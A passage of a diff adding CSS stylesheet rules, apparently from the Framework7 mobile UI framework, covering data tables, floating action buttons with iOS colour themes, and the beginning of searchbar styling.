-ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: left; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-right: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + left: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-left: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-left: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .data-table thead th, +.ios .data-table thead td { + font-weight: 600; +} +.ios .data-table thead th:not(.sortable-cell-active), +.ios .data-table thead td:not(.sortable-cell-active) { + color: #8e8e93; +} +.ios .data-table thead i.icon, +.ios .data-table thead i.f7-icons { + font-size: 18px; + width: 18px; + height: 18px; +} +.ios .data-table tbody tr.data-table-row-selected { + background: #f7f7f8; +} +.ios .data-table th, +.ios .data-table td { + padding-left: 15px; + padding-right: 15px; + height: 44px; +} +.ios .data-table th.checkbox-cell, +.ios .data-table td.checkbox-cell { + width: 22px; + padding-right: 7px; +} +.ios .data-table th.checkbox-cell + td, +.ios .data-table td.checkbox-cell + td, +.ios .data-table th.checkbox-cell + th, +.ios .data-table td.checkbox-cell + th { + padding-left: 8px; +} +.ios .data-table th.actions-cell a.link + a.link, +.ios .data-table td.actions-cell a.link + a.link { + margin-left: 15px; +} +.ios .data-table th.actions-cell a.icon-only, +.ios .data-table td.actions-cell a.icon-only { + width: 18px; + height: 18px; + line-height: 18px; +} +.ios .sortable-cell:not(.numeric-cell):after { + margin-left: 5px; +} +.ios .sortable-cell.numeric-cell:before { + margin-right: 5px; +} +.ios .data-table.card .card-header, +.ios .card .data-table .card-header, +.ios .data-table.card .card-footer, +.ios .card .data-table .card-footer { + padding-left: 15px; + padding-right: 8px; +} +.ios .data-table-title { + font-size: 17px; + font-weight: 600; +} +.ios .data-table-links a.link + a.link, +.ios .data-table-actions a.link + a.link { + margin-left: 15px; +} +.ios .data-table-actions a.link.icon-only { + width: 44px; + height: 44px; +} +.ios .data-table-actions i.icon, +.ios .data-table-actions i.f7-icons { + font-size: 22px; +} +.ios .data-table .card-header > .data-table-header, +.ios .data-table .card-header > .data-table-header-selected { + padding-top: 10px; + padding-bottom: 10px; + height: 100%; + padding-left: 15px; + padding-right: 8px; + margin-left: -15px; + margin-right: -8px; +} +.ios .data-table-header-selected { + background: rgba(0, 122, 255, 0.1); +} +.ios .data-table-title-selected { + color: #007aff; +} +.ios .data-table tbody td:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-desktop .data-table tbody tr:hover { + background: #f7f7f8; +} +.ios .data-table-footer { + height: 44px; + color: #8e8e93; +} +.ios .data-table-rows-select a.link, +.ios .data-table-pagination a.link { + width: 44px; + height: 44px; +} +.ios .data-table-rows-select + .data-table-pagination { + margin-left: 30px; +} +.ios .data-table-rows-select .input { + margin-left: 20px; +} +.ios .data-table-pagination-label { + margin-right: 15px; +} +.ios .data-table-footer:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.ios .input-cell .table-head-label + .input { + margin-top: 4px; +} +.ios .input-cell .input { + height: 24px; +} +.ios .input-cell .input input, +.ios .input-cell .input textarea, +.ios .input-cell .input select { + height: 24px; + color: #000; + font-size: 14px; +} +@media (max-width: 480px) and (orientation: portrait) { + .ios .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: #8e8e93; + font-weight: 600; + } + .ios .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .ios.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .ios.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.ios .theme-dark .data-table tbody td:before, +.data-table.ios .theme-dark tbody td:before { + background-color: #282829; +} +.ios .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.ios .theme-dark.data-table-collapsible tr:before { + background-color: #282829; +} +.ios .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.ios .theme-dark tbody tr.data-table-row-selected { + background-color: #363636; +} +.ios.device-desktop .theme-dark .data-table tbody tr:hover, +.ios.device-desktop .theme-dark.data-table tbody tr:hover { + background: #363636; +} +.ios .color-theme-red .data-table-header-selected, +.ios .data-table-header-selected.color-red { + background: rgba(255, 59, 48, 0.1); +} +.ios .color-theme-red .data-table-title-selected, +.ios .color-red .data-table-title-selected { + color: #ff3b30; +} +.ios .color-theme-green .data-table-header-selected, +.ios .data-table-header-selected.color-green { + background: rgba(76, 217, 100, 0.1); +} +.ios .color-theme-green .data-table-title-selected, +.ios .color-green .data-table-title-selected { + color: #4cd964; +} +.ios .color-theme-blue .data-table-header-selected, +.ios .data-table-header-selected.color-blue { + background: rgba(0, 122, 255, 0.1); +} +.ios .color-theme-blue .data-table-title-selected, +.ios .color-blue .data-table-title-selected { + color: #007aff; +} +.ios .color-theme-pink .data-table-header-selected, +.ios .data-table-header-selected.color-pink { + background: rgba(255, 45, 85, 0.1); +} +.ios .color-theme-pink .data-table-title-selected, +.ios .color-pink .data-table-title-selected { + color: #ff2d55; +} +.ios .color-theme-yellow .data-table-header-selected, +.ios .data-table-header-selected.color-yellow { + background: rgba(255, 204, 0, 0.1); +} +.ios .color-theme-yellow .data-table-title-selected, +.ios .color-yellow .data-table-title-selected { + color: #ffcc00; +} +.ios .color-theme-orange .data-table-header-selected, +.ios .data-table-header-selected.color-orange { + background: rgba(255, 149, 0, 0.1); +} +.ios .color-theme-orange .data-table-title-selected, +.ios .color-orange .data-table-title-selected { + color: #ff9500; +} +.ios .color-theme-gray .data-table-header-selected, +.ios .data-table-header-selected.color-gray { + background: rgba(142, 142, 147, 0.1); +} +.ios .color-theme-gray .data-table-title-selected, +.ios .color-gray .data-table-title-selected { + color: #8e8e93; +} +.ios .color-theme-white .data-table-header-selected, +.ios .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.ios .color-theme-white .data-table-title-selected, +.ios .color-white .data-table-title-selected { + color: #ffffff; +} +.ios .color-theme-black .data-table-header-selected, +.ios .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.ios .color-theme-black .data-table-title-selected, +.ios .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.ios .fab > a, +.ios .fab-buttons a { + background: #007aff; + width: 50px; + height: 50px; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + border-radius: 25px; + color: #fff; +} +.ios .fab > a.active-state, +.ios .fab-buttons a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background: #0066d6; +} +.ios .fab > a i.icon, +.ios .fab-buttons a i.icon { + font-size: 21px; +} +.ios .fab[class*="fab-left"] { + left: 15px; +} +.ios .fab[class*="fab-right"] { + right: 15px; +} +.ios .fab[class*="-top"] { + top: 15px; +} +.ios .fab[class*="-bottom"] { + bottom: 15px; +} +.ios .navbar ~ * .fab[class*="-top"], +.ios .navbar ~ .fab[class*="-top"] { + margin-top: 44px; +} +.ios .toolbar ~ * .fab[class*="-bottom"], +.ios .toolbar ~ .fab[class*="-bottom"] { + margin-bottom: 44px; +} +.ios .tabbar-labels ~ * .fab[class*="-bottom"], +.ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .fab[class*="-bottom"], + .ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 56px; + } +} +.ios .fab-morph { + border-radius: 25px; + background: #007aff; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); +} +.ios .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.ios .fab-extended { + min-width: 50px; +} +.ios .fab-extended > a { + width: 100%; + height: 50px; +} +.ios .fab-extended > a i { + left: 25px; +} +.ios .fab-extended i ~ .fab-text { + padding-left: 50px; +} +.ios .fab-label { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); +} +.ios .color-theme-red .fab > a, +.ios .color-theme-red .fab-buttons a, +.ios .color-theme-red.fab > a, +.ios .color-theme-red.fab-buttons a { + background: #ff3b30; +} +.ios .color-theme-red .fab > a.active-state, +.ios .color-theme-red .fab-buttons a.active-state, +.ios .color-theme-red.fab > a.active-state, +.ios .color-theme-red.fab-buttons a.active-state { + background: #ff1407; +} +.ios .color-theme-red .fab-morph, +.ios .color-theme-red.fab-morph { + background: #ff3b30; +} +.ios .color-theme-green .fab > a, +.ios .color-theme-green .fab-buttons a, +.ios .color-theme-green.fab > a, +.ios .color-theme-green.fab-buttons a { + background: #4cd964; +} +.ios .color-theme-green .fab > a.active-state, +.ios .color-theme-green .fab-buttons a.active-state, +.ios .color-theme-green.fab > a.active-state, +.ios .color-theme-green.fab-buttons a.active-state { + background: #2cd048; +} +.ios .color-theme-green .fab-morph, +.ios .color-theme-green.fab-morph { + background: #4cd964; +} +.ios .color-theme-blue .fab > a, +.ios .color-theme-blue .fab-buttons a, +.ios .color-theme-blue.fab > a, +.ios .color-theme-blue.fab-buttons a { + background: #007aff; +} +.ios .color-theme-blue .fab > a.active-state, +.ios .color-theme-blue .fab-buttons a.active-state, +.ios .color-theme-blue.fab > a.active-state, +.ios .color-theme-blue.fab-buttons a.active-state { + background: #0066d6; +} +.ios .color-theme-blue .fab-morph, +.ios .color-theme-blue.fab-morph { + background: #007aff; +} +.ios .color-theme-pink .fab > a, +.ios .color-theme-pink .fab-buttons a, +.ios .color-theme-pink.fab > a, +.ios .color-theme-pink.fab-buttons a { + background: #ff2d55; +} +.ios .color-theme-pink .fab > a.active-state, +.ios .color-theme-pink .fab-buttons a.active-state, +.ios .color-theme-pink.fab > a.active-state, +.ios .color-theme-pink.fab-buttons a.active-state { + background: #ff0434; +} +.ios .color-theme-pink .fab-morph, +.ios .color-theme-pink.fab-morph { + background: #ff2d55; +} +.ios .color-theme-yellow .fab > a, +.ios .color-theme-yellow .fab-buttons a, +.ios .color-theme-yellow.fab > a, +.ios .color-theme-yellow.fab-buttons a { + background: #ffcc00; +} +.ios .color-theme-yellow .fab > a.active-state, +.ios .color-theme-yellow .fab-buttons a.active-state, +.ios .color-theme-yellow.fab > a.active-state, +.ios .color-theme-yellow.fab-buttons a.active-state { + background: #d6ab00; +} +.ios .color-theme-yellow .fab-morph, +.ios .color-theme-yellow.fab-morph { + background: #ffcc00; +} +.ios .color-theme-orange .fab > a, +.ios .color-theme-orange .fab-buttons a, +.ios .color-theme-orange.fab > a, +.ios .color-theme-orange.fab-buttons a { + background: #ff9500; +} +.ios .color-theme-orange .fab > a.active-state, +.ios .color-theme-orange .fab-buttons a.active-state, +.ios .color-theme-orange.fab > a.active-state, +.ios .color-theme-orange.fab-buttons a.active-state { + background: #d67d00; +} +.ios .color-theme-orange .fab-morph, +.ios .color-theme-orange.fab-morph { + background: #ff9500; +} +.ios .color-theme-gray .fab > a, +.ios .color-theme-gray .fab-buttons a, +.ios .color-theme-gray.fab > a, +.ios .color-theme-gray.fab-buttons a { + background: #8e8e93; +} +.ios .color-theme-gray .fab > a.active-state, +.ios .color-theme-gray .fab-buttons a.active-state, +.ios .color-theme-gray.fab > a.active-state, +.ios .color-theme-gray.fab-buttons a.active-state { + background: #79797f; +} +.ios .color-theme-gray .fab-morph, +.ios .color-theme-gray.fab-morph { + background: #8e8e93; +} +.ios .color-theme-white .fab > a, +.ios .color-theme-white .fab-buttons a, +.ios .color-theme-white.fab > a, +.ios .color-theme-white.fab-buttons a { + background: #ffffff; +} +.ios .color-theme-white .fab > a.active-state, +.ios .color-theme-white .fab-buttons a.active-state, +.ios .color-theme-white.fab > a.active-state, +.ios .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.ios .color-theme-white .fab-morph, +.ios .color-theme-white.fab-morph { + background: #ffffff; +} +.ios .color-theme-black .fab > a, +.ios .color-theme-black .fab-buttons a, +.ios .color-theme-black.fab > a, +.ios .color-theme-black.fab-buttons a { + background: #000000; +} +.ios .color-theme-black .fab > a.active-state, +.ios .color-theme-black .fab-buttons a.active-state, +.ios .color-theme-black.fab > a.active-state, +.ios .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.ios .color-theme-black .fab-morph, +.ios .color-theme-black.fab-morph { + background: #000000; +} +.ios .fab.color-red > a, +.ios .fab.color-red .fab-buttons > a, +.ios .fab-buttons.color-red a, +.ios .fab > a.color-red, +.ios .fab .fab-buttons > a.color-red { + background: #ff3b30; +} +.ios .fab.color-red > a.active-state, +.ios .fab.color-red .fab-buttons > a.active-state, +.ios .fab-buttons.color-red a.active-state, +.ios .fab > a.color-red.active-state, +.ios .fab .fab-buttons > a.color-red.active-state { + background: #ff1407; +} +.ios .fab-morph.color-red { + background: #ff3b30; +} +.ios .fab.color-green > a, +.ios .fab.color-green .fab-buttons > a, +.ios .fab-buttons.color-green a, +.ios .fab > a.color-green, +.ios .fab .fab-buttons > a.color-green { + background: #4cd964; +} +.ios .fab.color-green > a.active-state, +.ios .fab.color-green .fab-buttons > a.active-state, +.ios .fab-buttons.color-green a.active-state, +.ios .fab > a.color-green.active-state, +.ios .fab .fab-buttons > a.color-green.active-state { + background: #2cd048; +} +.ios .fab-morph.color-green { + background: #4cd964; +} +.ios .fab.color-blue > a, +.ios .fab.color-blue .fab-buttons > a, +.ios .fab-buttons.color-blue a, +.ios .fab > a.color-blue, +.ios .fab .fab-buttons > a.color-blue { + background: #007aff; +} +.ios .fab.color-blue > a.active-state, +.ios .fab.color-blue .fab-buttons > a.active-state, +.ios .fab-buttons.color-blue a.active-state, +.ios .fab > a.color-blue.active-state, +.ios .fab .fab-buttons > a.color-blue.active-state { + background: #0066d6; +} +.ios .fab-morph.color-blue { + background: #007aff; +} +.ios .fab.color-pink > a, +.ios .fab.color-pink .fab-buttons > a, +.ios .fab-buttons.color-pink a, +.ios .fab > a.color-pink, +.ios .fab .fab-buttons > a.color-pink { + background: #ff2d55; +} +.ios .fab.color-pink > a.active-state, +.ios .fab.color-pink .fab-buttons > a.active-state, +.ios .fab-buttons.color-pink a.active-state, +.ios .fab > a.color-pink.active-state, +.ios .fab .fab-buttons > a.color-pink.active-state { + background: #ff0434; +} +.ios .fab-morph.color-pink { + background: #ff2d55; +} +.ios .fab.color-yellow > a, +.ios .fab.color-yellow .fab-buttons > a, +.ios .fab-buttons.color-yellow a, +.ios .fab > a.color-yellow, +.ios .fab .fab-buttons > a.color-yellow { + background: #ffcc00; +} +.ios .fab.color-yellow > a.active-state, +.ios .fab.color-yellow .fab-buttons > a.active-state, +.ios .fab-buttons.color-yellow a.active-state, +.ios .fab > a.color-yellow.active-state, +.ios .fab .fab-buttons > a.color-yellow.active-state { + background: #d6ab00; +} +.ios .fab-morph.color-yellow { + background: #ffcc00; +} +.ios .fab.color-orange > a, +.ios .fab.color-orange .fab-buttons > a, +.ios .fab-buttons.color-orange a, +.ios .fab > a.color-orange, +.ios .fab .fab-buttons > a.color-orange { + background: #ff9500; +} +.ios .fab.color-orange > a.active-state, +.ios .fab.color-orange .fab-buttons > a.active-state, +.ios .fab-buttons.color-orange a.active-state, +.ios .fab > a.color-orange.active-state, +.ios .fab .fab-buttons > a.color-orange.active-state { + background: #d67d00; +} +.ios .fab-morph.color-orange { + background: #ff9500; +} +.ios .fab.color-gray > a, +.ios .fab.color-gray .fab-buttons > a, +.ios .fab-buttons.color-gray a, +.ios .fab > a.color-gray, +.ios .fab .fab-buttons > a.color-gray { + background: #8e8e93; +} +.ios .fab.color-gray > a.active-state, +.ios .fab.color-gray .fab-buttons > a.active-state, +.ios .fab-buttons.color-gray a.active-state, +.ios .fab > a.color-gray.active-state, +.ios .fab .fab-buttons > a.color-gray.active-state { + background: #79797f; +} +.ios .fab-morph.color-gray { + background: #8e8e93; +} +.ios .fab.color-white > a, +.ios .fab.color-white .fab-buttons > a, +.ios .fab-buttons.color-white a, +.ios .fab > a.color-white, +.ios .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.ios .fab.color-white > a.active-state, +.ios .fab.color-white .fab-buttons > a.active-state, +.ios .fab-buttons.color-white a.active-state, +.ios .fab > a.color-white.active-state, +.ios .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.ios .fab-morph.color-white { + background: #ffffff; +} +.ios .fab.color-black > a, +.ios .fab.color-black .fab-buttons > a, +.ios .fab-buttons.color-black a, +.ios .fab > a.color-black, +.ios .fab .fab-buttons > a.color-black { + background: #000000; +} +.ios .fab.color-black > a.active-state, +.ios .fab.color-black .fab-buttons > a.active-state, +.ios .fab-buttons.color-black a.active-state, +.ios .fab > a.color-black.active-state, +.ios .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.ios .fab-morph.color-black { + background: #000000; +} +.ios.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-left"], + .ios.device-iphone-x .popup .fab[class*="fab-left"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .ios.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-right"], + .ios.device-iphone-x .popup .fab[class*="fab-right"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .ios.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, 